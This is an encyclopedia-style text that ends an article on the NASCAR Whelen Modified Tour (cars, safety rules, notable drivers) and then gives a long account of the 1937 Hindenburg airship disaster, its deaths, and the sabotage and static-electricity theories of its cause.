A large story line was the absence of any races at the fabled Thompson Speedway Motorsports Park. After being on the WMT schedule every year since the tours inception in 1985, the managing partners of the speedway decided to hold open tour type modified races instead. This did not prove popular amongst fans and teams alike, however TSMP returned to the WMT schedule for the 2022 season.
The cars
NASCAR Whelen Modified Tour cars are substantially different from their NASCAR Cup Series counterparts. Today's cars are based on tubular chassis built by fabricators such as Troyer Engineering, Chassis Dynamics, Spafco, Raceworks and Fury Race Cars / LFR Chassis. Bodies are related to their passenger car counterparts in only two ways. There is a "manufacturers" logo placed on the car, and a logo indicating the type of road car it is alleged to be. Neither logo is actually associated with the actual manufacturer of the race vehicle. Whelen Modified cars are also largely fabricated from sheetmetal, with the front wheels and much of the front suspension exposed. A NASCAR Whelen Modified car is shorter in height and over wider than a Cup car. By rule, tour-type modifieds weigh at least (with additional weight for engines and larger) and have a wheelbase of . They are powered by small-block V-8 engines, usually of of displacement, although larger or smaller engines can be used. Engine components are largely similar to those used in the Cup Series, but Whelen Modified Tour engines use a small four-barrel carburetor (rated at per minute, about half the airflow of previous modified carburetors), which limits their output to . On large tracks such as New Hampshire Motor Speedway, the engines must have a restrictor plate between the carburetor and intake manifold, reducing engine power and car speed for safety reasons. Approved "body styles" for 2006 include the Chevrolet Cavalier and Monte Carlo, the Dodge Avenger and Stealth, the Ford Mustang and Escort, the Plymouth Laser and Sundance, and the Pontiac Sunbird, J2000, and Grand Prix.
Safety
Richie Evans' 1985 death at Martinsville, along with other asphalt modified fatalities such as Charlie Jarzombek (in 1987), Corky Cookman (1987), Tommy Druar (1989), Don Pratt (1989), and Tony Jankowiak (1990), led to questions about car rigidity with tour modifieds, and safety changes. In particular, straight frame rails were phased out, with new chassis required to have a step which could bend in hard impacts rather than passing the force to the driver. The death of Tom Baldwin, Sr. in 2004 led to more safety modifications, with HANS devices (or equivalents) and left side headrests becoming mandatory. For the 2008 season, rear bumpers were shortened in response to the 2007 death of John Blewett III.
After a severed wheel caused a fatality at an Indy Racing League event at Lowe's Motor Speedway, NASCAR, in July 1999, required the Featherlite Modified Series teams (and eventually all NASCAR teams) to add steel cables as tethers linking each front spindle to the chassis, the steel cables were later replaced with marine rope which is stronger and weighs less.
Public stature
The series has been a minor league with a strong and loyal regional following. Most national media attention has appeared in racing-centered publications (magazines such as Stock Car Racing Magazine and Speedway Illustrated, and newspapers such as National Speed Sport News and Speedway Scene) rather than general mass media. In the 21st century, several books about historical modified drivers have been published. The series was featured in the EA Sports NASCAR series starting in NASCAR 2005: Chase for the Cup, though beginning with NASCAR 08, the series became exclusive to PlayStation 2 releases; additionally, all Whelen Modified Tour drivers in the aforementioned games (and NASCAR: Dirt to Daytona, the first video game to feature the series) are fictional characters specifically created for the games.
No full-time Cup Series driver competed regularly in Whelen Modified Tour events until 2010, when Ryan Newman won at Bristol and won twice at New Hampshire driving for Kevin Manion. However, Ron Bouchard, Geoff Bodine, Brett Bodine, Steve Park, and Jimmy Spencer went on from WMT competition to become race winners at the Cup level. Other WMT veterans such as Ryan Preece, Mike McLaughlin, and Jeff Fuller have advanced to become race winners and championship contenders in the Xfinity Series, the top minor league under the Cup Series. Two-time Xfinity Series champion Randy Lajoie also began racing modifieds in Connecticut before moving on the NASCAR. Randy’s son, Corey Lajoie has also won in the Modified Tour. Son of Mike McLaughlin, Max has also competed in the Modified Tour. Cup Series crew chiefs that started in WMT include Tommy Baldwin Jr. and Greg Zipadelli.
Flosports has live coverage of all races, with some tape-delayed on CNBC.
In 2023, the Modified Tour has support races with the New Smyrna Speedway meeting that is part of Daytona 500 ancillary events, and is part of Cup Series at Richmond Raceway, New Hampshire Motor Speedway, and Martinsville Speedway. They also race a standalone fall meeting at North Wilkesboro Speedway. Typically, a name driver is recruited to participate in the race to pique the interest of casual fans. For example, Cup Series driver Carl Edwards and defending Cup champion Tony Stewart raced in the July 2006 race. In the past, they have raced at Bristol Motor Speedway and been part of INDYCAR races at Richmond and New Hampshire.
Notable drivers
Certain drivers are notable specifically for their NASCAR Whelen Modified Tour careers.
All-time top 10 drivers
The following drivers were named to the NASCAR Modified all-time top 10 list in 2003:
Richie Evans – Evans won nine modified titles between 1973 and 1985, a championship total that was unmatched in all of NASCAR until Stefanik's championship in 2006; 52 wins in 84 NASCAR and unsanctioned events in 1979
Mike Stefanik – seven WMT and two Busch North championships
Jerry Cook – six NASCAR National Modified Championships in the 1970s, helped direct the series' changes as series director in 1985
Ray Hendrick – raced "anything, anywhere" from the 1950s to 1970s
Geoff Bodine – in the Guinness Book of World Records for winning 55 modified races in 1978
Tony Hirschman, Jr. – has won five WMT championships
Bugs Stevens – won three consecutive NASCAR National Modified Championships, in 1967–69
Fred DeSarro – 1970 NASCAR National Modified champion
Jimmy Spencer – 1986 and 1987 WMT champion
Reggie Ruggiero – the "best driver to never win a championship", his 44 victories rank him second to Stefanik since the modern era began in 1985
Wade Cole
Wade Cole (March 9, 1953 – March 15, 2020) was a fixture in the NASCAR Whelen Modified Tour. Between 1985 and 2019, Cole competed in 371 NWMT races, achieving 7 top ten finishes. He earned a career best eighth place finish twice, once in 1993 and again in 2008. His 371 starts place him eighth all time since the series inception in 1985. Cole died in a home accident on March 15, 2020. In 2020 a race on the tour was renamed for him.
Results
Champions
Click here for a list of all champions including 1948–84 National Modified champions.
Rookie of the Year
Most Popular Driver Award
NASCAR stopped awarding the Most Popular Driver Award in the Modified Tour from the 2017 season.
Pre-tour Most Popular Driver Award
Notes and references
See also
NASCAR
Whelen Southern Modified Tour
NASCAR Regional Racing
External links
NASCAR official website
NASCAR's WMT page
Mod Series Scene website
2008 Whelen Modified Tour Schedule
YankeeRacer.com
History of Title sponsors
Fan site from 2002
Archive.org image of www.petesracingsite.com – a fan site
Red Byron (first champ) bio on Living Legends of Auto Racing website
RacedayCT
NASCAR series
Auto racing series in the United States
Stock car racing
Stock car racing series in the United States
Whelen modified
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https://en.wikipedia.org/wiki/Hindenburg%20disaster
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Hindenburg disaster
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The Hindenburg disaster was an airship accident that occurred on May 6, 1937, in Manchester Township, New Jersey. The LZ 129 Hindenburg (; Registration: D-LZ 129) was a German commercial passenger-carrying rigid airship, the lead ship of the Hindenburg class, the longest class of flying machine and the largest airship by envelope volume. It was designed and built by the Zeppelin Company (Luftschiffbau Zeppelin GmbH) and was operated by the German Zeppelin Airline Company (Deutsche Zeppelin-Reederei). It was named after Field Marshal Paul von Hindenburg, who was President of Germany from 1925 until his death in 1934. It caught fire and was destroyed during its attempt to dock with its mooring mast at Naval Air Station Lakehurst. The accident caused 35 fatalities (13 passengers and 22 crewmen) from the 97 people on board (36 passengers and 61 crewmen), and an additional fatality on the ground.
The disaster was the subject of newsreel coverage, photographs and Herbert Morrison's recorded radio eyewitness reports from the landing field, which were broadcast the next day. A variety of theories have been put forward for both the cause of ignition and the initial fuel for the ensuing fire. The publicity shattered public confidence in the giant, passenger-carrying rigid airship and marked the abrupt end of the airship era.
Flight
Background
The Hindenburg made ten trips to the United States in 1936. After opening its 1937 season by completing a single round-trip passage to Rio de Janeiro, Brazil, in late March, the Hindenburg departed from Frankfurt, Germany, on the evening of May 3, on the first of ten round trips between Europe and the United States that were scheduled for its second year of commercial service. American Airlines had contracted with the operators of the Hindenburg to shuttle passengers from Lakehurst to Newark for connections to airplane flights.
Except for strong headwinds that slowed its progress, the Atlantic crossing of the Hindenburg was unremarkable until the airship attempted an early-evening landing at Lakehurst three days later on May 6. Although carrying only half its full capacity of passengers (36 of 70) and crewmen (61, including 21 crewman trainees) during the flight accident, the Hindenburg was fully booked for its return flight. Many of the passengers with tickets to Germany were planning to attend the coronation of King George VI and Queen Elizabeth in London the following week.
The airship was hours behind schedule when it passed over Boston on the morning of May 6, and its landing at Lakehurst was expected to be further delayed because of afternoon thunderstorms. Advised of the poor weather conditions at Lakehurst, Captain Max Pruss charted a course over Manhattan Island, causing a public spectacle as people rushed out into the street to catch sight of the airship. After passing over the field at 4:00 p.m., Pruss took passengers on a tour over the seashore of New Jersey while waiting for the weather to clear. After being notified at 6:22 p.m. that the storms had passed, Pruss directed the airship back to Lakehurst to make its landing almost half a day late. As this would leave much less time than anticipated to service and prepare the airship for its scheduled departure back to Europe, the public was informed that they would not be permitted at the mooring location or be able to come aboard the Hindenburg during its stay in port.
Landing timeline
Around 7:00 p.m., at an altitude of , the Hindenburg made its final approach to the Lakehurst Naval Air Station. This was to be a high landing, known as a flying moor because the airship would drop its landing ropes and mooring cable at a high altitude, and then be winched down to the mooring mast. This type of landing maneuver would reduce the number of ground crewmen but would require more time. Although the high landing was a common procedure for American airships, the Hindenburg had performed this maneuver only a few times in 1936 while landing in Lakehurst.
At 7:09 p.m., the airship made a sharp full-speed left turn to the west around the landing field because the ground crew was not ready. At 7:11 p.m., it turned back toward the landing field and valved gas. All engines idled ahead and the airship began to slow. Captain Pruss ordered aft engines full astern at 7:14 p.m. while at an altitude of , to try to brake the airship.
At 7:17 p.m., the wind shifted direction from east to southwest, and Captain Pruss ordered a second sharp turn starboard, making an s-shaped flightpath towards the mooring mast. At 7:18 p.m., as the final turn progressed, Pruss ordered 300, 300, and 500 kg (660, 660, and 1100 lb) of water ballast in successive drops because the airship was stern-heavy. The forward gas cells were also valved. As these measures failed to bring the ship in trim, six men (three of whom were killed in the accident) were then sent to the bow to trim the airship.
At 7:21 p.m., while the Hindenburg was at an altitude of , the mooring lines were dropped from the bow; the starboard line was dropped first, followed by the port line. The port line was overtightened as it was connected to the post of the ground winch. The starboard line had still not been connected. A light rain began to fall as the ground crew grabbed the mooring lines.
At 7:25 p.m., a few witnesses saw the fabric ahead of the upper fin flutter as if gas was leaking. Others reported seeing a dim blue flame – possibly static electricity, or St. Elmo's Fire – moments before the fire on top and in the back of the ship near the point where the flames first appeared. Several other eyewitness testimonies suggest that the first flame appeared on the port side just ahead of the port fin, and was followed by flames that burned on top. Commander Rosendahl testified to the flames in front of the upper fin being "mushroom-shaped". One witness on the starboard side reported a fire beginning lower and behind the rudder on that side. On board, people heard a muffled detonation and those in the front of the ship felt a shock as the port trail rope overtightened; the officers in the control car initially thought the shock was caused by a broken rope.
Disaster
At 7:25 p.m. local time, the Hindenburg caught fire and quickly became engulfed in flames. Eyewitness statements disagree as to where the fire initially broke out; several witnesses on the port side saw yellow-red flames first jump forward of the top fin near the ventilation shaft of cells 4 and 5. Other witnesses on the port side noted the fire actually began just ahead of the horizontal port fin, only then followed by flames in front of the upper fin. One, with views of the starboard side, saw flames beginning lower and farther aft, near cell 1 behind the rudders. Inside the airship, helmsman Helmut Lau, who was stationed in the lower fin, testified hearing a muffled detonation and looked up to see a bright reflection on the front bulkhead of gas cell 4, which "suddenly disappeared by the heat". As other gas cells started to catch fire, the fire spread more to the starboard side and the ship dropped rapidly. Although the landing was being filmed by cameramen from four newsreel teams and at least one spectator, with numerous photographers also being at the scene, no footage or photographs are known to exist of the moment the fire started.
The flames quickly spread forward first consuming cells 1 to 9, and the rear end of the structure imploded. Almost instantly, two tanks (it is disputed whether they contained water or fuel) burst out of the hull as a result of the shock of the blast. Buoyancy was lost on the stern of the ship, and the bow lurched upwards while the ship's back broke; the falling stern stayed in trim.
As the tail of the Hindenburg crashed into the ground, a burst of flame came out of the nose, killing 9 of the 12 crew members in the bow. There was still gas in the bow section of the ship, so it continued to point upward as the stern collapsed down. The cell behind the passenger decks ignited as the side collapsed inward, and the scarlet lettering reading "Hindenburg" was erased by flames as the bow descended. The airship's gondola wheel touched the ground, causing the bow to bounce up slightly as one final gas cell burned away. At this point, most of the fabric on the hull had also burned away and the bow finally crashed to the ground. Although the hydrogen had finished burning, the Hindenburg diesel fuel burned for several more hours. In the face of this catastrophe, Chief Petty Officer Frederick J. "Bull" Tobin, in command of the Navy landing party for the airship, and a survivor of the crashed American military airship, USS Shenandoah, shouted the famous order, "Navy men, Stand fast!!" to successfully rally his personnel to conduct rescue operations despite the considerable danger from the flames.
The time that it took from the first signs of disaster to the bow crashing to the ground is reported as 32, 34 or 37 seconds. Since none of the newsreel cameras were filming the airship when the fire first started, the time of the start can only be estimated from various eyewitness accounts and the duration of the longest footage of the crash. One analysis by NASA's Addison Bain gives the flame front spread rate across the fabric skin as about at some points during the crash, which would have resulted in a total destruction time of about 16 seconds (245m/15 m/s=16.3 s).
Some of the duralumin framework of the airship was salvaged and shipped back to Germany, where it was recycled and used in the construction of military aircraft for the Luftwaffe, as were the frames of the LZ 127 Graf Zeppelin and LZ 130 Graf Zeppelin II when both were scrapped in 1940.
In the days after the disaster, a board of inquiry was set up at Lakehurst to investigate the cause of the fire. The investigation by the US Commerce Department was headed by Colonel South Trimble Jr, while Hugo Eckener led the German commission.
News coverage
The disaster was well-documented. Heavy publicity about the first transatlantic passenger flight of the year by Zeppelin to the United States had attracted a large number of journalists to the landing. Thus many news crews were on-site at the time of the airship exploding, and so there was a significant amount of newsreel coverage and photographs, as well as Herbert Morrison's eyewitness report for radio station WLS in Chicago, a report that was broadcast the next day.
Radio broadcasts were not recorded at the time, however an audio engineer and Morrison had chosen the arrival of the Hindenburg to experiment with recording for delayed broadcast and thus Morrison's narration of the disaster was preserved. Parts of Morrison's broadcast were later dubbed onto newsreel footage. That gave the impression that the words and film were recorded together, but that was not the case.
The newsreel footage was shot by four newsreel camera teams: Pathé News, Movietone News, Hearst News of the Day, and Paramount News. Al Gold of Fox Movietone News later received a Presidential Citation for his work. One of the most widely circulated photographs of the disaster (see photo at top of article), showing the airship crashing with the mooring mast in the foreground, was photographed by Sam Shere of International News Photos. When the fire started he did not have the time to put the camera to his eye and shot the photo "from the hip". Murray Becker of Associated Press photographed the fire engulfing the airship while it was still on even keel using his 4 × 5 Speed Graphic camera. His next photograph (see right), shows flames bursting out of the nose as the bow telescoped upwards. In addition to professional photographers, spectators also photographed the crash. They were stationed in the spectators' area near Hangar No. 1, and had a side-rear view of the airship. Customs broker Arthur Cofod Jr. and 16-year-old Foo Chu both had Leica cameras with high-speed film, allowing them to take a larger number of photographs than the press photographers. Nine of Cofod's photographs were printed in Life magazine, while Chu's photographs were shown in the New York Daily News.
The newsreels and photographs, along with Morrison's passionate reporting, shattered public and industry faith in airships and marked the end of the giant passenger-carrying airships. Also contributing to the downfall of Zeppelins was the arrival of international passenger air travel and Pan American Airlines. Heavier-than-air aircraft regularly crossed the Atlantic and Pacific much faster than the 130 km/h (80 mph) speed of the Hindenburg. The one advantage that the Hindenburg had over such aircraft was the comfort that it afforded its passengers.
In contrast to the media coverage in the United States, media coverage of the disaster in Germany was more subdued. Although some photographs of the disaster were published in newspapers, the newsreel footage was not released until after World War II. German victims were memorialized in a similar manner to fallen war heroes, and grassroots movements to fund zeppelin construction (as happened after the 1908 crash of the LZ 4) were expressly forbidden by the Nazi government.
There had been a series of other airship accidents prior to the Hindenburg fire; many were caused by bad weather. The Graf Zeppelin had flown safely for more than 1.6 million kilometers (1.0 million miles), including the first circumnavigation of the globe by an airship. The Zeppelin company's promotions had prominently featured the fact that no passenger had been injured on any of its airships.
Deaths
There were a total of 35 deaths out of 97 people on the airship, including 13 of the 36 passengers and 22 of the 61 crew; most survivors were severely burned. Among the killed was also one ground crewman, civilian linesman Allen Hagaman. Ten passengers and 16 crewmen died in the crash or in the fire. The majority of the victims were burned to death, while others died jumping from the airship at an excessive height, or as a consequence of either smoke inhalation or falling debris. Six other crew members, three passengers, and Allen Hagaman died in the following hours or days, mostly as a result of the burns.
The majority of the crewmen who died were up inside the ship's hull, where they either did not have a clear escape route or were close to the bow of the ship, which hung burning in the air for too long for most of them to escape death. Most of the crew in the bow died in the fire, although at least one was filmed falling from the bow to his death. Most of the passengers who died were trapped in the starboard side of the passenger deck. Not only was the wind blowing the fire toward the starboard side, but the ship also rolled slightly to starboard as it settled to the ground, with much of the upper hull on that part of the ship collapsing outboard of the starboard observation windows, thus cutting off the escape of many of the passengers on that side. To make matters worse, the sliding door leading from the starboard passenger area to the central foyer and the gangway stairs (through which rescuers led a number of passengers to safety) jammed shut during the crash, further trapping those passengers on the starboard side. Nonetheless, some did manage to escape from the starboard passenger decks. By contrast, all but a few of the passengers on the port side of the ship survived the fire, with some of them escaping virtually unscathed. Although the best-remembered airship disaster, it was not the worst. Just over twice as many (73 of 76 on board) had perished when the helium-filled U.S. Navy scout airship crashed at sea off the New Jersey coast four years earlier on April 4, 1933.
Werner Franz, the 14-year-old cabin boy, was initially dazed on realizing the ship was on fire but when a water tank above him burst open, putting out the fire around him, he was spurred to action. He made his way to a nearby hatch and dropped through it just as the forward part of the ship was briefly rebounding into the air. He began to run toward the starboard side, but stopped and turned around and ran the other way because wind was pushing the flames in that direction. He escaped without injury and was the last surviving crew member when he died in 2014. The last survivor, Werner G. Doehner, died November 8, 2019. At the time of the disaster, Doehner was eight years old and vacationing with family. He recalled later that his mother threw him and his brother out of the ship and jumped after them; they survived but Doehner's father and sister were killed.
When the control car crashed onto the ground, most of the officers leapt through the windows, but became separated. First Officer Captain Albert Sammt found Captain Max Pruss trying to re-enter the wreckage to look for survivors. Pruss's face was badly burned, and he required months of hospitalization and reconstructive surgery, but he survived.
Captain Ernst Lehmann escaped the crash with burns to his head and arms and severe burns across most of his back. He died at a nearby hospital the next day.
When passenger , a vaudeville comic acrobat, billed as Ben Dova, saw the first sign of trouble he smashed the window with his movie camera with which he had been filming the landing (the film survived the disaster). As the ship neared the ground he lowered himself out the window and hung onto the window ledge, letting go when the ship was perhaps above the ground. His acrobat's instincts kicked in, and Späh kept his feet under him and attempted to do a safety roll when he landed. He injured his ankle nonetheless, and was dazedly crawling away when a member of the ground crew came up, slung the diminutive Späh under one arm, and ran him clear of the fire.
Of the 12 crewmen in the bow of the airship, only three survived. Four of these 12 men were standing on the mooring shelf, a platform up at the very tip of the bow from which the forwardmost landing ropes and the steel mooring cable were released to the ground crew, and which was directly at the forward end of the axial walkway and just ahead of gas cell #16. The rest were standing either along the lower keel walkway ahead of the control car, or else on platforms beside the stairway leading up the curve of the bow to the mooring shelf. During the fire the bow hung in the air at roughly a 45-degree angle and flames shot forward through the axial walkway, bursting through the bow (and the bow gas cells) like a blowtorch. The three men from the forward section who survived (elevatorman Kurt Bauer, cook Alfred Grözinger, and electrician Josef Leibrecht) were those furthest aft of the bow, and two of them (Bauer and Grözinger) happened to be standing near two large triangular air vents, through which cool air was being drawn by the fire. Neither of these men sustained more than superficial burns. Most of the men standing along the bow stairway either fell aft into the fire, or tried to leap from the ship when it was still too high in the air. Three of the four men standing on the mooring shelf inside the very tip of the bow were actually taken from the wreck alive, though one (Erich Spehl, a rigger) died shortly afterwards in the Air Station's infirmary, and the other two (helmsman Alfred Bernhard and apprentice elevatorman Ludwig Felber) were reported by newspapers to have initially survived the fire, and then to subsequently have died at area hospitals during the night or early the following morning.
Hydrogen fires are less destructive to immediate surroundings than gasoline explosions because of the buoyancy of diatomic hydrogen, which causes the heat of combustion to be released upwards more than circumferentially as the leaked mass ascends in the atmosphere; hydrogen fires are more survivable than fires of gasoline or wood. The hydrogen in the Hindenburg burned out within about ninety seconds.
Cause of ignition
Sabotage hypothesis
At the time of the disaster, sabotage was commonly put forward as the cause of the fire, initially by Hugo Eckener, former head of the Zeppelin Company and the "old man" of German airships. In initial reports, before inspecting the accident, Eckener mentioned the possibility of a shot as the cause of the disaster, because of threatening letters that had been received, but did not rule out other causes. Eckener later publicly endorsed the static spark hypothesis, including after the war. At the time on a lecture tour in Austria, he was awakened at about 2:30 in the morning (8:30 p.m. Lakehurst time, or approximately an hour after the crash) by the ringing of his bedside telephone. It was a Berlin representative of The New York Times with news that the Hindenburg "exploded yesterday evening at 7 p.m. above the airfield at Lakehurst". By the time he left the hotel the next morning to travel to Berlin for a briefing on the disaster, the only answer that he had for the reporters waiting outside to question him was that based on what he knew, the Hindenburg had "exploded over the airfield"; sabotage might be a possibility. However, as he learned more about the disaster, particularly that the airship had burned rather than actually "exploded", he grew more and more convinced that static discharge, rather than sabotage, was the cause.
Charles Rosendahl, commander of the Naval Air Station at Lakehurst and the man in overall charge of the ground-based portion of the Hindenburg's landing maneuver, came to believe that the Hindenburg had been sabotaged. He laid out a general case for sabotage in his book What About the Airship? (1938), which was as much an extended argument for the further development of the rigid airship as it was an historical overview of the airship concept.
Another proponent of the sabotage hypothesis was Max Pruss, captain of the Hindenburg throughout the airship's career. Pruss flew on nearly every flight of the Graf Zeppelin since 1928 until the Hindenburg was launched in 1936. In a 1960 interview conducted by Kenneth Leish for Columbia University's Oral History Research Office, Pruss said early dirigible travel was safe, and therefore he strongly believed that sabotage was to blame. He stated that on trips to South America, which was a popular destination for German tourists, both airships passed through thunderstorms and were struck by lightning but remained unharmed.
Most members of the crew refused to believe that one of them would commit an act of sabotage, insisting only a passenger could have destroyed the airship. A suspect favored by Commander Rosendahl, Captain Pruss, and others among the Hindenburg's crew, was passenger Joseph Späh, a German acrobat who survived the fire. He brought with him a dog, a German shepherd named Ulla, as a surprise for his children. He reportedly made a number of unaccompanied visits to feed his dog, who was being kept in a freight room near the stern of the ship. Those who suspected Späh based their suspicions primarily on those trips into the ship's interior to feed his dog, that according to some of the stewards Späh had told anti-Nazi jokes during the flight, recollections by stewards that Späh had seemed agitated by the repeated delays in landing, and that he was an acrobat who could conceivably climb into the airship's rigging to plant a bomb.
In 1962, A. A. Hoehling published Who Destroyed the Hindenburg?, in which he rejected all theories but sabotage, and named a crew member as the suspect. Erich Spehl, a rigger on the Hindenburg who died of burns in the Infirmary, was named as a potential saboteur. Ten years later, Michael MacDonald Mooney's book The Hindenburg, which was based heavily on Hoehling's sabotage hypothesis, also identified Spehl as a possible saboteur; Mooney's book was made into the film The Hindenburg (1975), a mostly fictionalized account of the Zeppelin's final flight. The producers of the film were sued by Hoehling for plagiarism, but Hoehling's case was dismissed because he had presented his sabotage hypothesis as historical fact, and it is not possible to claim ownership of historical facts.
Hoehling claimed the following in naming Spehl as the culprit:
Spehl's girlfriend had communist beliefs and anti-Nazi connections.
The fire's origin was near the catwalk running through Gas Cell 4, which was an area of the ship generally off-limits to anyone other than Spehl and his fellow riggers.
Hoehling's claim that Chief Steward Heinrich Kubis told him the Chief Rigger Ludwig Knorr noticed damage of Cell 4 shortly before the disaster.
Rumors that the Gestapo had investigated Spehl's possible involvement in 1938.
Spehl's interest in amateur photography, making him familiar with flashbulbs that could have served as an igniter.
The discovery by representatives of the New York Police Department (NYPD) Bomb Squad of a substance that was later determined to likely be "the insoluble residue from the depolarizing element of a small, dry battery". (Hoehling postulated that a dry cell battery could have powered a flashbulb in an incendiary device.)
The discovery by Federal Bureau of Investigation (FBI) agents of a yellow substance on the valve cap of the airship between cells 4 and 5 where the fire was first reported. Although initially suspected to be sulfur, which can ignite hydrogen, it was later determined that the residue was actually from a fire extinguisher.
A flash or a bright reflection in gas cell 4, that crew members near the lower fin had seen just before the fire.
Hoehling's (and later Mooney's) hypothesis goes on to say that it is unlikely that Spehl wanted to kill people, and that he intended the airship to burn after the landing. However, with the ship already over 12 hours late, Spehl was unable to find an excuse to reset the timer on his bomb.
It has been suggested that Adolf Hitler himself ordered the Hindenburg to be destroyed in retaliation for Eckener's anti-Nazi opinions.
Since the publication of Hoehling's book, most airship historians, including Douglas Robinson, have dismissed Hoehling's sabotage hypothesis because no solid evidence was ever presented to support it. No pieces of a bomb were ever discovered (and there is no evidence in existing documentation that the sample collected from the wreckage, and determined to be residue from a dry cell battery, was found anywhere near the stern of the airship), and on closer examination, the evidence against Spehl and his girlfriend turned out to be rather weak. Additionally, it is unlikely that Rigger Knorr would not remain at cell 4 to further assess the purported damage claimed by Kubis. In an interview with the TV show Secrets & Mysteries, Hoehling himself asserted it was only his theory and also suggested a short circuit could be another potential cause of the fire. Additionally, Mooney's book has been criticized as having numerous fictional elements and factual errors, and it has been suggested that the plot was created for the then-upcoming 1975 film. Although Mooney alleges that three Luftwaffe officers were aboard to investigate a potential bomb threat, there is no evidence they were on board to do so, and military observers were present on previous flights to study navigational techniques and weather forecasting practices of the airship crew.
However, opponents of the sabotage hypothesis argued that only speculation supported sabotage as a cause of the fire, and no credible evidence of sabotage was produced at any of the formal hearings. Erich Spehl died in the fire and was therefore unable to refute the accusations that surfaced a quarter of a century later. The FBI investigated Joseph Späh and reported finding no evidence of Späh having any connection to a sabotage plot. According to his wife, Evelyn, Späh was quite upset over the accusations – she later recalled that her husband was outside their home cleaning windows when he first learned that he was suspected of sabotaging the Hindenburg, and was so shocked by the news that he almost fell off the ladder on which he was standing.
Neither the German nor the American investigation endorsed any of the sabotage theories. Proponents of the sabotage hypothesis argue that any finding of sabotage would have been an embarrassment for the Nazi regime, and they speculate that such a finding by the German investigation was suppressed for political reasons. However, it has also been suggested that numerous crewmen subscribed to the sabotage hypothesis because they refused to accept any flaws with the airship or pilot error.
Some more sensational newspapers claimed that a Luger pistol with one round fired was found among the wreckage and speculated that a person on board committed suicide or shot the airship. However, there is no evidence suggesting an attempted suicide or official report confirming the presence of a Luger pistol. Initially, before inspecting the scene himself, Eckener mentioned the possibility for a shot as the cause of the disaster, because of threatening letters they received. At the German enquiry Eckener discounted a shot – among many possibilities – as the cause as nearly impossible and highly improbable.
Static electricity hypothesis
Hugo Eckener argued that the fire was started by an electric spark which was caused by a buildup of static electricity on the airship. The spark ignited hydrogen on the outer skin.
Proponents of the static spark hypothesis point out that the airship's skin was not constructed in a way that allowed its charge to be distributed evenly throughout the craft. The skin was separated from the duralumin frame by non-conductive ramie cords which had been lightly covered in metal to improve conductivity but not very effectively, allowing a large difference in potential to form between the skin and the frame.
In order to make up for the delay of more than 12 hours in its transatlantic flight, the Hindenburg passed through a weather front of high humidity and high electrical charge. Although the mooring lines were not wet when they first hit the ground and ignition took place four minutes after, Eckener theorised that they may have become wet in these four minutes. When the ropes, which were connected to the frame, became wet, they would have grounded the frame but not the skin. This would have caused a sudden potential difference between skin and frame (and the airship itself with the overlying air masses) and would have set off an electrical discharge – a spark. Seeking the quickest way to ground, the spark would have jumped from the skin onto the metal framework, igniting the leaking hydrogen.
In his book LZ-129 Hindenburg (1964), Zeppelin historian Douglas Robinson commented that although ignition of free hydrogen by static discharge had become a favored hypothesis, no such discharge was seen by any of the witnesses who testified at the official investigation into the accident in 1937. He continues:
Unlike other witnesses to the fire whose view of the port side of the ship had the light of the setting sun behind the ship, Professor Heald's view of the starboard side of the ship against a backdrop of the darkening eastern sky would have made the dim blue light of a static discharge on the top of the ship more easily visible.
Harold G. Dick was Goodyear Zeppelin's representative with Luftschiffbau Zeppelin during the mid-1930s. He flew on test flights of the Hindenburg and its sister ship, the Graf Zeppelin II. He also flew on numerous flights in the original Graf Zeppelin and ten round-trip crossings of the north and south Atlantic in the Hindenburg. In his book The Golden Age of the Great Passenger Airships Graf Zeppelin & Hindenburg, he observes:
In addition to Dick's observations, during the Graf Zeppelin II's early test flights, measurements were taken of the airship's static charge. Ludwig Durr and the other engineers at Luftschiffbau Zeppelin took the static discharge hypothesis seriously and considered the insulation of the fabric from the frame to be a design flaw in the Hindenburg. Thus, the German Inquiry concluded that the insulation of the outer covering caused a spark to jump onto a nearby piece of metal, thereby igniting the hydrogen. In lab experiments, using the Hindenburgs outer covering and a static ignition, hydrogen was able to be ignited but with the covering of the LZ 127 Graf Zeppelin, nothing happened. These findings were not well-publicized and were covered up, perhaps to avoid embarrassment of such an engineering flaw in the face of the Third Reich.
A variant of the static spark hypothesis, presented by Addison Bain, is that a spark between inadequately grounded fabric cover segments of the Hindenburg itself started the fire, and that the doping compound of the outer skin was flammable enough to be ignited before hydrogen contributed to the fire. The Hindenburg had a cotton skin covered with a finish known as "dope". It is a common term for a plasticised lacquer that provides stiffness, protection, and a lightweight, airtight seal to woven fabrics. In its liquid forms, dope is highly flammable, but the flammability of dry dope depends upon its base constituents, with, for example, butyrate dope being far less flammable than cellulose nitrate. Proponents of this hypothesis claim that when the mooring line touched the ground, a resulting spark could have ignited the dope in the skin. However, the validity of this theory has been contested (see Incendiary paint hypothesis section below).
An episode of the Discovery Channel series Curiosity entitled "What Destroyed the Hindenburg?", which first aired in December 2012, investigated both the static spark theory and St. Elmo's Fire, as well as sabotage by bomb. The team, led by British aeronautical engineer Jem Stansfield and US airship historian Dan Grossman, concluded that the ignition took place above the hydrogen vent just forward of where Mark Heald saw St. Elmo's Fire, and that the ignited hydrogen was channelled down the vent where it created a more explosive detonation described by crew member Helmut Lau.
An episode of the PBS series Nova titled Hindenburg: The New Evidence, which first aired in April 2021 on SBS in Australia, focuses on the static electricity hypothesis. It confirms that the Hindenburg fabric outer skin and metal airframe were, by design, electrically isolated from each other (via air gaps between skin and frame), and finds that although this may have been done with safety in mind, it likely put the airship at greater risk for the type of accident that occurred. It also finds that there likely was a leak of hydrogen gas at the Hindenburg stern, as evidenced by the difficulty the crew had in bringing the airship in trim prior to the landing (its aft was too low). The episode also features laboratory experiments, conducted by Konstantinos Giapis of Caltech, designed to explain how the fatal spark occurred. Through them Dr. Giapis demonstrates the effects of rainy weather on representations of the airship's skin, airframe and a landing rope — and successfully generates sparks between skin and frame. As Giapis notes, when its landing ropes were cast to the ground, the Hindenburg had a significant electrical charge (many thousands of volts with respect to ground), due to its altitude, about , and to stormy weather conditions. Although these ropes, made of Manila hemp, would have become more electrically conductive as they absorbed falling rain, Giapis finds the ropes would have conducted electricity even when dry, effectively grounding the airship the instant they touched earth.
